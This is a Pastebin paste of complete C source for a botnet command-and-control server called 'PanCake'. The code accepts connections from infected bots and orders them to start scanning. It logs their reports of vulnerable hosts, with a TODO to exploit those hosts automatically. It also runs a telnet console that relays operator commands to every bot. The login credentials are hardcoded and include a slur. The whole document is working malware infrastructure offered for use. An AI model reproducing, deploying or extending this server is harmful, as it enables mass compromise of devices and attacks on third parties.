ZucoCheezy

Pancake-Server

Dec 1st, 2018
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 21.47 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. #define MY_MGM_PROXYP "faggots"
  16. #define MY_MGM_PROXYU "faggots"
  17. #define MY_MGM_LORDP "%%r00tedGANG%%"
  18. #define MY_MGM_LORDU "SHA"
  19. #define MY_MGM_CHERRYSP "%%r00tedMUS%%"
  20. #define MY_MGM_CHERRYSU "MUS"
  21. #define MY_MGM_SUDOCP "P4SS123"
  22. #define MY_MGM_SUDOCU "PACKETS"
  23. #define MY_MGM_PORT 69
  24.  
  25. #define MAXFDS 1000000 // No way we actually reach this amount. Ever.
  26. char MY_USER_PROXY=0, MY_USER_CHERRYS=0, MY_USER_LORD=0, MY_USER_SUDOC=0;
  27. struct clientdata_t {
  28.         uint32_t ip;
  29.         char build[7];
  30.         char connected;
  31. } clients[MAXFDS];
  32. struct telnetdata_t {
  33.         int connected;
  34. } managements[MAXFDS];
  35. static volatile FILE *fileFD;
  36. static volatile int epollFD = 0;
  37. static volatile int listenFD = 0;
  38. static volatile int managesConnected = 0;
  39. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  40. {
  41.         int total = 0, got = 1;
  42.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  43.         return got;
  44. }
  45. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  46. {
  47.     int i;
  48.     int begin = 0;
  49.     int end = strlen(str) - 1;
  50.     while (isspace(str[begin])) begin++;
  51.     while ((end >= begin) && isspace(str[end])) end--;
  52.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  53.     str[i - begin] = '\0';
  54. }
  55.  
  56.  
  57. static int make_socket_non_blocking (int sfd)
  58. { // man fcntl
  59.         int flags, s;
  60.         flags = fcntl (sfd, F_GETFL, 0);
  61.         if (flags == -1)
  62.         {
  63.                 perror ("fcntl");
  64.                 return -1;
  65.         }
  66.         flags |= O_NONBLOCK;
  67.         /*
  68.               F_SETFL (int)
  69.               Set  the  file  status  flags  to  the  value specified by arg.  File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
  70.               ignored.  On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  71.         */
  72.         s = fcntl (sfd, F_SETFL, flags);
  73.         if (s == -1)
  74.         {
  75.                 perror ("fcntl");
  76.                 return -1;
  77.         }
  78.         return 0;
  79. }
  80.  
  81.  
  82. static int create_and_bind (char *port)
  83. {
  84.         struct addrinfo hints;
  85.         struct addrinfo *result, *rp;
  86.         int s, sfd;
  87.         memset (&hints, 0, sizeof (struct addrinfo));
  88.         hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  89.         hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  90.         hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  91.         s = getaddrinfo (NULL, port, &hints, &result);
  92.         if (s != 0)
  93.         {
  94.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  95.                 return -1;
  96.         }
  97.         for (rp = result; rp != NULL; rp = rp->ai_next)
  98.         {
  99.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  100.                 if (sfd == -1) continue;
  101.                 int yes = 1;
  102.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  103.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  104.                 if (s == 0)
  105.                 {
  106.                         break;
  107.                 }
  108.                 close (sfd);
  109.         }
  110.         if (rp == NULL)
  111.         {
  112.                 fprintf (stderr, "Could not bind\n");
  113.                 return -1;
  114.         }
  115.         freeaddrinfo (result);
  116.         return sfd;
  117. }
  118. void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
  119. {
  120.         int sendMGM = 1;
  121.         if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  122.     char *wot = malloc(strlen(msg) + 10);
  123.         memset(wot, 0, strlen(msg) + 10);
  124.         strcpy(wot, msg);
  125.         trim(wot);
  126.         time_t rawtime;
  127.         struct tm * timeinfo;
  128.         time(&rawtime);
  129.         timeinfo = localtime(&rawtime);
  130.         char *timestamp = asctime(timeinfo);
  131.         trim(timestamp);
  132.         int i;
  133.         for(i = 0; i < MAXFDS; i++)
  134.         {
  135.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  136.                 if(sendMGM && managements[i].connected)
  137.  
  138.                 {
  139.  
  140. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  141.  
  142.                         send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  143.  
  144. send(i, ":\x1b[37m ", 8, MSG_NOSIGNAL);
  145.  
  146.                 } //just a prompt with a timestamp.
  147.                 printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
  148.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  149.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m> \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  150.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  151.         }
  152.         free(wot);
  153. }
  154.  
  155. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  156. {
  157.         struct epoll_event event;
  158.         struct epoll_event *events;
  159.         int s;
  160.         events = calloc (MAXFDS, sizeof event);
  161.         while (1)
  162.         {
  163.                 int n, i;
  164.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  165.                 for (i = 0; i < n; i++)
  166.                 {
  167.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  168.                         {
  169.                                 clients[events[i].data.fd].connected = 0;
  170.                                 close(events[i].data.fd);
  171.                                 continue;
  172.                         }
  173.                         else if (listenFD == events[i].data.fd)
  174.                         {
  175.                                 while (1)
  176.                                 {
  177.                                         struct sockaddr in_addr;
  178.                                         socklen_t in_len;
  179.                                         int infd, ipIndex;
  180.  
  181.                                         in_len = sizeof in_addr;
  182.                                         infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  183.                                         if (infd == -1)
  184.                                         {
  185.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  186.                                                 else
  187.                                                 {
  188.                                                         perror ("accept");
  189.                                                         break;
  190.                                                 }
  191.                                         }
  192.  
  193.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  194.  
  195.                                         int dup = 0;
  196.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  197.                                         {
  198.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  199.  
  200.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  201.                                                 {
  202.                                                         dup = 1;
  203.                                                         break;
  204.                                                 }
  205.                                         }
  206.  
  207.                                         if(dup)
  208.                                         {
  209.                                                 printf("dup client\n"); // warns the operator on command line
  210.                                                 if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
  211.                                                 if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
  212.                                                 close(infd);
  213.                                                 continue;
  214.                                         }
  215.  
  216.                                         s = make_socket_non_blocking (infd);
  217.                                         if (s == -1) { close(infd); break; }
  218.  
  219.                                         event.data.fd = infd;
  220.                                         event.events = EPOLLIN | EPOLLET;
  221.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  222.                                         if (s == -1)
  223.                                         {
  224.                                                 perror ("epoll_ctl");
  225.                                                 close(infd);
  226.                                                 break;
  227.                                         }
  228.  
  229.                                         clients[infd].connected = 1;
  230.                                         send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  231.                                 }
  232.                                 continue;
  233.                         }
  234.                         else
  235.                         {
  236.                                 int thefd = events[i].data.fd;
  237.                                 struct clientdata_t *client = &(clients[thefd]);
  238.                                 int done = 0;
  239.                                 client->connected = 1;
  240.                                 while (1)
  241.                                 {
  242.                                         ssize_t count;
  243.                                         char buf[2048];
  244.                                         memset(buf, 0, sizeof buf);
  245.  
  246.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  247.                                         {
  248.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  249.                                                 trim(buf);
  250.                                                 if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  251.                                                 {
  252.                                                         if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  253.                                                         continue;
  254.                                                 }
  255.                                                 if(strstr(buf, "BUILD ") == buf)
  256.                                                 {
  257.                                                         char *build = strstr(buf, "BUILD ") + 6;
  258.                                                         if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
  259.                                                         memset(client->build, 0, 7);
  260.                                                         strcpy(client->build, build);
  261.                                                         continue;
  262.                                                 }
  263.                                                 if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  264.                                                 {
  265.                                                         char *line = strstr(buf, "REPORT ") + 7;
  266.                                                         fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
  267.                                                         fflush(fileFD);
  268. //TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
  269.                                                         continue;
  270.                                                 }
  271.                                                 if(strcmp(buf, "PONG") == 0)
  272.                                                 {
  273.                                                         //should really add some checking or something but meh
  274.                                                         continue;
  275.                                                 }
  276.  
  277.                                                 printf("buf: \"%s\"\n", buf);
  278.                                         }
  279.  
  280.                                         if (count == -1)
  281.                                         {
  282.                                                 if (errno != EAGAIN)
  283.                                                 {
  284.                                                         done = 1;
  285.                                                 }
  286.                                                 break;
  287.                                         }
  288.                                         else if (count == 0)
  289.                                         {
  290.                                                 done = 1;
  291.                                                 break;
  292.                                         }
  293.                                 }
  294.  
  295.                                 if (done)
  296.                                 {
  297.                                         client->connected = 0;
  298.                                         close(thefd);
  299.                                 }
  300.                         }
  301.                 }
  302.         }
  303. }
  304.  
  305. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  306. {
  307.         int i = 0, total = 0;
  308.         for(i = 0; i < MAXFDS; i++)
  309.         {
  310.                 if(!clients[i].connected) continue;
  311.                 total++;
  312.         }
  313.  
  314.         return total;
  315. }
  316.  
  317. void *titleWriter(void *sock) // just an informational banner
  318. {
  319.         // this LOOKS vulnerable, but it's actually not.
  320.         // there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array
  321.         int thefd = (int)sock;
  322.         char string[2048];
  323.         while(1)
  324.         {
  325.                 memset(string, 0, 2048);
  326.                 sprintf(string, "%c]0;Bots connected: %d | Users connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  327.                 // \007 is a bell character... causes a beep. Why is there a beep here?
  328.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  329.  
  330.                 sleep(2);
  331.         }
  332. }
  333.  
  334.  
  335. void *telnetWorker(void *sock)
  336. {
  337.         int thefd = (int)sock;
  338.         managesConnected++;
  339.         pthread_t title;
  340.         char buf[2048];
  341. char* nickstring;
  342.         memset(buf, 0, sizeof buf);
  343.  
  344.         if(send(thefd, "\x1b[32mNickname:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  345.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  346.         trim(buf);
  347. nickstring = ("%s", buf);
  348. if(strcmp(nickstring, MY_MGM_PROXYU) == 0){
  349. if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  350. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  351. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  352. trim(buf);
  353. if(strcmp(buf, MY_MGM_PROXYP) != 0) goto failed;
  354. memset(buf, 0, 2048);
  355. goto fak;
  356. }
  357. else if(strcmp(nickstring, MY_MGM_CHERRYSU) == 0){
  358. if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  359. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  360. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  361. trim(buf);
  362. if(strcmp(buf, MY_MGM_CHERRYSP) != 0) goto failed;
  363. memset(buf, 0, 2048);
  364. goto fak;
  365. }
  366. else if(strcmp(nickstring, MY_MGM_LORDU) == 0){
  367. if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  368. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  369. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  370. trim(buf);
  371. if(strcmp(buf, MY_MGM_LORDP) != 0) goto failed;
  372. memset(buf, 0, 2048);
  373. goto fak;
  374. }
  375. else if(strcmp(nickstring, MY_MGM_SUDOCU) == 0){
  376. if(send(thefd, "\x1b[32m*           VALID CREDENTIALS           *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  377. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  378. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  379. trim(buf);
  380. if(strcmp(buf, MY_MGM_SUDOCP) != 0) goto failed;
  381. memset(buf, 0, 2048);
  382. goto fak;
  383. }
  384. else if(strcmp(nickstring, MY_MGM_SUDOCU) != 0 || strcmp(nickstring, MY_MGM_PROXYU) != 0 || strcmp(nickstring, MY_MGM_CHERRYSU) != 0 || strcmp(nickstring, MY_MGM_LORDU) != 0 ){
  385. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  386. if(send(thefd, "\x1b[31m*          INVALID CREDENTIALS          *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  387. goto end;
  388. }
  389. failed:
  390. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  391. if(send(thefd, "\x1b[31m*          INVALID CREDENTIALS          *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  392. goto end;
  393. fak:
  394.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  395.         pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
  396.         if(send(thefd, "\x1b[1m\x1b[36m*****************************************\r\n", 54, MSG_NOSIGNAL) == -1) goto end;
  397.         if(send(thefd, "*         \x1b[37mWELCOME TO THE PanCake\x1b[36m         *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  398.         if(send(thefd, "*          \x1b[37mClorox Is Bae <3\x1b[36m          *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  399.         if(send(thefd, "*****************************************\r\n\r\n\x1b[36m> \x1b[37m", 59, MSG_NOSIGNAL) == -1) goto end;
  400.         /* If we can't send the useless banner, kill ourselves! Amazing error handling! */
  401.         managements[thefd].connected = 1;
  402.         while(fdgets(buf, sizeof buf, thefd) > 0)
  403.         {
  404.         trim(buf);
  405.                 if(send(thefd, "\x1b[36m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  406.                 if(strlen(buf) == 0) continue;
  407.                 printf("management: \"%s\"\n", buf);
  408.                 broadcast(buf, thefd); // take a command, send it to the bots
  409.                 memset(buf, 0, 2048);
  410.         }
  411.  
  412.         end:    // cleanup dead socket
  413.                 managements[thefd].connected = 0;
  414.                 close(thefd);
  415.                 managesConnected--;
  416. }
  417.  
  418. void *telnetListener(void *useless)
  419. {
  420.         int sockfd, newsockfd;
  421.         socklen_t clilen;
  422.         struct sockaddr_in serv_addr, cli_addr;
  423.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  424.         if (sockfd < 0) perror("ERROR opening socket");
  425.         bzero((char *) &serv_addr, sizeof(serv_addr));
  426.         serv_addr.sin_family = AF_INET;
  427.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  428.         serv_addr.sin_port = htons(MY_MGM_PORT);
  429.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  430.         listen(sockfd,5);
  431.         clilen = sizeof(cli_addr);
  432.         while(1)
  433.         {
  434.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  435.                 if (newsockfd < 0) perror("ERROR on accept");
  436.                 pthread_t thread;
  437.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  438.         }
  439. }
  440.  
  441. int main (int argc, char *argv[])
  442. {
  443.         signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  444.  
  445.         int s, threads;
  446.         struct epoll_event event;
  447.  
  448.         if (argc != 3)
  449.         {
  450.                 fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  451.                 exit (EXIT_FAILURE);
  452.         }
  453.         fileFD = fopen("output.txt", "a+"); // TOCTOU vuln if we have access to CnC
  454.         threads = atoi(argv[2]);
  455.  
  456.         listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  457.         if (listenFD == -1) abort ();
  458.  
  459.         s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  460.         if (s == -1) abort ();
  461.  
  462.  
  463.         s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  464.         if (s == -1)
  465.         {
  466.                 perror ("listen");
  467.                 abort ();
  468.         }
  469.  
  470.         epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  471.         if (epollFD == -1)
  472.         {
  473.                 perror ("epoll_create");
  474.                 abort ();
  475.         }
  476.  
  477.         event.data.fd = listenFD;
  478.         event.events = EPOLLIN | EPOLLET;
  479.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  480.         if (s == -1)
  481.         {
  482.                 perror ("epoll_ctl");
  483.                 abort ();
  484.         }
  485.  
  486.         pthread_t thread[threads + 2];
  487.         while(threads--)
  488.         {
  489.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  490.         }
  491.  
  492.         pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  493.  
  494.         while(1)
  495.         {
  496.                 broadcast("PING", -1); // ping bots every 60 sec on the main thread
  497.  
  498.                 sleep(60);
  499.         }
  500.  
  501.         close (listenFD);
  502.  
  503.         return EXIT_SUCCESS;
  504. }
Advertisement
Add Comment
Please, Sign In to add comment